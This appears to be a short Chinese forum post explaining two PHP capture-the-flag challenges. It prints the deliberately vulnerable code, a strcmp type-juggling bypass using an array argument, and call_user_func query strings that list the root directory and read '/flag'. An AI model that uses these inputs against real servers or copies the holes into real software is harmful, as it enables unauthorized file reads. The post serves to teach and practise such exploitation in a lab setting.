ahu
33 天前
第一题:
<?php
highlight_file(__FILE__);
include('flag.php');
$g = $_GET['1'];
if (preg_match('/^hacker$/im', $g)) {
if (strcmp($_GET['2'],$flag) == 0) {
echo $flag;
}
}
?>
考的是 strcmp 的漏洞:弱类型转换后 null == 0 。
strcmp("foo", array()) => NULL + PHP Warning
strcmp("foo", new stdClass) => NULL + PHP Warning
strcmp(function(){}, "") => NULL + PHP Warning
第二题:
<?php
highlight_file(__FILE__);
function scan($directory){
return var_dump(scandir($directory));
}
function read($f){
echo file_get_contents($f);
}
call_user_func($_GET['a'], $_GET['b']);
?>
考的是 call_user_func 的漏洞:如果直接将用户输入的内容作为参数,则可以执行任意命令。
先用 ?a=scan&b=/ 找出 flag 文件,然后用 ?a=read&b=/flag 读出 flag 文件内容